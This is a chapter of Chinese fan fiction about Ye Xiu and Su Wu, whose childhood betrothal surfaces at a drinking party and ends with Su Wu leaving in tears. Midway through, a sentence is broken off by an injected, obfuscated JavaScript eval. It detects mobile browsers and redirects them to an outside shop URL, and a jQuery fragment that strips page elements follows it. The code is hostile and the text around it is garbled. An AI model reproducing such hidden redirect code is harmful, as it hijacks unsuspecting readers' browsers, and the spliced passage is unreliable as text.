那个队员拿起桌上的酒一口喝完,毫无预兆的倒靠向一边的叶修,发出如烧水壶一般的呜呜哀嚎。

    不管不顾的就要说出自己的委屈:

    “我跟你们说,我那上学的时候有过心动对象,她很漂亮很恬静,没天在课间总有几次会抱着班级的练习册从我班级路过。

    那时候我也是有点蠢的,就为了能够多看一眼人,我将她出现的地方和时间用表格列举出来寻找规律,后面真的能在她出现的前一秒我就望向窗外。

    但很遗憾,我清楚的知道,这份内心的悸动永远得不到见光的那一天,我的婚姻,早在出生的时候就做了定局,尽管我从来没有见过人,尽管我心底从来不愿意……”

    剩余的义斩几人看见他这酒后靠在别人身上发疯的死德行,纷纷觉得丢人,起身要过来将人拉开。

    但偏偏越拉他越起劲,人都从沙发上拖拽到地上还死抓着叶修的肩膀不放,声泪俱下的询问:

    “兄弟啊,那种痛你能懂吗,无声无息将自我在黑夜之中撕裂,醒来了还要自己缝合好伤痕,我真的好难受啊兄弟(oTATo),呜呜呜~”

    叶修给这位哭嚎的‘烧水壶’兄弟折磨得没有一点脾气,但主要是现在任由两方人再拉扯下去,他外套恐怕得撕烂了。

    便给义斩其余几人摆摆手,示意几人放手不用管这边。

    然后他单手施力,将人从地下拉回到座位上,也准备性情一点用白水代酒,跟人碰杯,说:

    “那个在婚姻这方面,我还真能跟你感同身受。”

    而‘烧水壶’此时已经疯过了头,身体往后一躺闭眼美美睡了过去,自然是回应不了他的话。

    反而是给对面的陈果听了个真切,她第一感觉就是叶修又再满嘴跑火车吹嘘,但凡事都还有个万一呢,她的八卦之魂一瞬间点燃,开口追问:

    “不是吧叶修,你怎么感受,你家里也给你定亲了?”

    陈果的问题将所有人的目光都投放到了叶修身上。

    苏芜自然也听清了话,心跳还是控制不住漏了一瞬,又瞬间整理好,也抬起头望向叶修,等待他的回答。

    “嗯,九岁时候的事了,那时候年纪小,也不知道那张红纸金字签下去,是需要负起什么样的责任。

    只记得有人抱了一个妹妹过来问我要妹妹不要,那个妹妹挺可爱漂亮的,我想要是过来了不过就是把我那份饭让给她吃,我去抢我弟的。

    后面年纪上来才逐渐理解那份文书上的意思。”

    叶修也不藏掖,坦荡的将自己身上的婚约说出。

    “哈哈,这样啊。”

    陈果其实就是脑袋一热随便一问,她没想到叶修真有,现在反而是她找不到话来接了。

    不过陈果这边没有,义斩那边有。

    那个苏芜在酒会上才看见的‘小天’换位过来与叶修喝了一杯,询问到:

    “那个哥,你身上的这个婚约你现在还会去认吗?”

    叶修没有直接去回答人的问题,而是反常的先看了对面的苏芜一眼,淡笑着缓缓回到:

    “年少之事终究只能留在年少,如果两人真有缘分,我想也不局限于这一纸薄薄的婚书之上,强硬相伴结合最后一生背负枷锁,貌合神离又有什么意义。

    而且她当年比我还要年少,一个学语稚童又能明白什么,那从来都不是她真正的选择,或许人家比我还不想要去认呢。”

    苏芜听着叶修的回答,原来于他而言,婚约只是束缚和枷锁,是一份他被迫去面对的责任而已。

    她也无比确信叶修不会将婚约放在心上。

    毕竟当年只因为家里面反对他玩网游,他就为了没人能管得到他直接离家出走,近十年不与家里有一点联系,又何况是婚约。

    叶修能给出这份回答,而义斩这几人没一个敢。

    他们能为打电竞这种短期一年两年的时间叛逆一下去给自己的青春轰轰烈烈的殉葬,但不会拿自己一辈子去赌。

    家里面拥有的资源已经是他们白手奋斗个百世轮回都达不到的高度,谁又真会为了情爱去舍弃唾手可得的钱权利益。

    喝喝酒文艺深情一下就过了,真要做取舍那谁都是聪明人。

    义斩这边的人面上都浮上‘公关式’的假笑附和叶修几句,举起杯子邀请大家一起碰杯,准备转换话题继续闲聊。

    独剩苏芜这个当事人,还留在无意义的如溺水之后悬而未沉的口鼻胸腔辣呛酸涩状态之中,吸不到氧气。

    她仰起头,如同刚从水下探出一般张嘴大口吸气,将喉咙和胸腔间的酸涩感努力下压,合群的举起杯将内里的酒水仰头一饮而尽。

    而后拿起包站起身,绕到义斩队伍中的一位女孩旁边,请她帮忙转达楼冠宁自己先离开的消息。

    有人听到了他们这边的谈话,客套有礼的询问:

    “我听冠宁介绍说你是从H市那边过来的,对B市应该不太熟悉吧,要不还是等我们一路送你回去,这边等冠宁回来差不多也要结束了。”

    苏芜摆摆手,拒绝了人的好意:

    “不用麻烦了,其实在二年前,我一直都是住在B市的,整体来说还是这里比H市熟悉,我需要回家有点事等着处理,就不陪各位了,你们尽兴。”

    苏芜怕自己再留下去,翻涌的情绪就将控制不住流露出来。

    她说完话就转身就走,打车回酒店换了套衣服就拿着行李下楼,给司机报了家里的地址,而后躲入到后排角落的阴影之中。

    闭上眼睛,一直留存的眼泪开始汹涌下落。

    而在公会这边,楼冠宁刚带着续完旧的发小孙哲平上来,也就是今天他才知道,苏芜和孙哲平是认识的,两个人都知道他,但就是不跟他说这件事,这两人嘴是真的严。

    但楼冠宁扫了桌上一圈都没有看见人,便问:

    “那个阿芜呢,怎么不见了?”

    “她说回家有事,就先走了,让我给你带个话。”

    义斩队伍的女孩出声回答到。

    “那好吧。”

    楼冠宁用手机敲字给苏芜让她安全到家了给发个消息,然后拉着孙哲平做到叶修的对面。

    “阿wú,哪个wú,是叫刚才坐我对面的女孩吗?”

    叶修从手机里的打地鼠游戏之中抬起头,这个名字太不对了,有一个猜想就快要从他的脑海里浮现。

    楼冠宁虽然奇怪叶修这个问题,但还是给出了答案:

    “野草芜,据说她小时候因为身体不太好,家里长辈怕太

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17834975|211397||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    大的寓意压在身上背不住,所以特意给取的字,寓意如原野之草,无惧火烧寒冻,合上姓名为苏芜。”

    “那她家是住西城吗,或者说曾经是住西城?”

    叶修为了更加确认,追加了一个问题。

    “对啊,你怎么知道的?”

    楼冠宁很惊异的询问。

    叶修却是没有回答,起身走了出去,站在走廊之中点开手机中的苏芜的联系方式,想发消息却又清晰的知道自己完全没有补救的机会了。

    他终于知道,为什么在雪路与她相见的时候会有熟悉的感觉。

    为什么跟她说影视剧情男主认不出青梅竹马的时候,苏芜评价的时候要看着他的眼睛说‘有点呆’。

    为什么刚才在他说完话众人碰杯的时候,她的脸上虽然挂着的是符合氛围的笑容,自己却感觉到她眼眸中的水光好似下一刻就化为泪痕。

    而自己当着人的面都说了什么呢——

    酒桌这边的楼冠宁瞬间有点摸不着头绪,他左右看看,大家表情都是不知道什么情况,他想自己也没说什么啊,怎么还给叶修说走了。

    “我出去看看吧。”

    孙哲平说着,站起身却完全不是去往叶修离开的方向,径直离开了会所,到停车场坐进车内,给苏芜打去电话。

    在一阵铃音响完未有人接通之后,孙哲平继续拨打,这次倒是接通了,传来一声明显带着鼻音的‘喂’。

    孙哲平眉头紧皱,开门见山的询问:

    “你刚才提前离开,是因为叶修吧?他说什么了?”

    苏芜那边一下陷入了沉默之中,很久在抽纸擦鼻子的声音过后,她才开口,声音哑而无力的回答:

    “他没说什么,就是我…自己不适应人多的环境,想着也没有什么事需要留,就先走了。”

    孙哲平冷呵一声,直接拆穿苏芜:

    “那没说什么你现在哭什么,他刚才又问我们你的信息做什么?”

    他等了一会,都没收到苏芜的回答,只有压抑的细碎哽咽声传入耳朵之中。

    无奈的揉揉眉心,将声音放得轻缓:

    “阿芜,世界还有很多画面去等你翻读,我们不要让精力陷入一件不好的事情之中。

    很多事情,我们都无法去左右天意,只能是顺势而为。”

    孙哲平知道苏芜跟叶修有婚约是在自己母亲的口中听来的,后面跟苏芜接触之后才知道叶修过往的每场比赛,苏芜都会买票去线下观看。

    叶修在荣耀赛场近十年的每一场胜负,她都做为粉丝一一陪同。

    苏芜对待叶修,肯定是有喜欢的情愫在的。

    但这个世界很多东西,它始终是不会因为任何一个人的意志而去转移的,我们只能被动的选择去淡化去掩埋那份意念。

    苏芜吸吸鼻子,将喉咙间的酸涩感下压,努力让自己说出的声音清晰自然:

    “嗯,我明白的。

    哥,我先睡一觉吧,醒来就会好了。”

    “嗯,晚安。”孙哲平平和的会,将通话挂断。

    苏芜从掩埋自己的被子里探出头,平躺在床上,闻着新铺上的床被织物还残余的母亲洗晒后的清香,缓缓陷入沉睡之中,只剩脸上的泪痕在无意识的不停流落。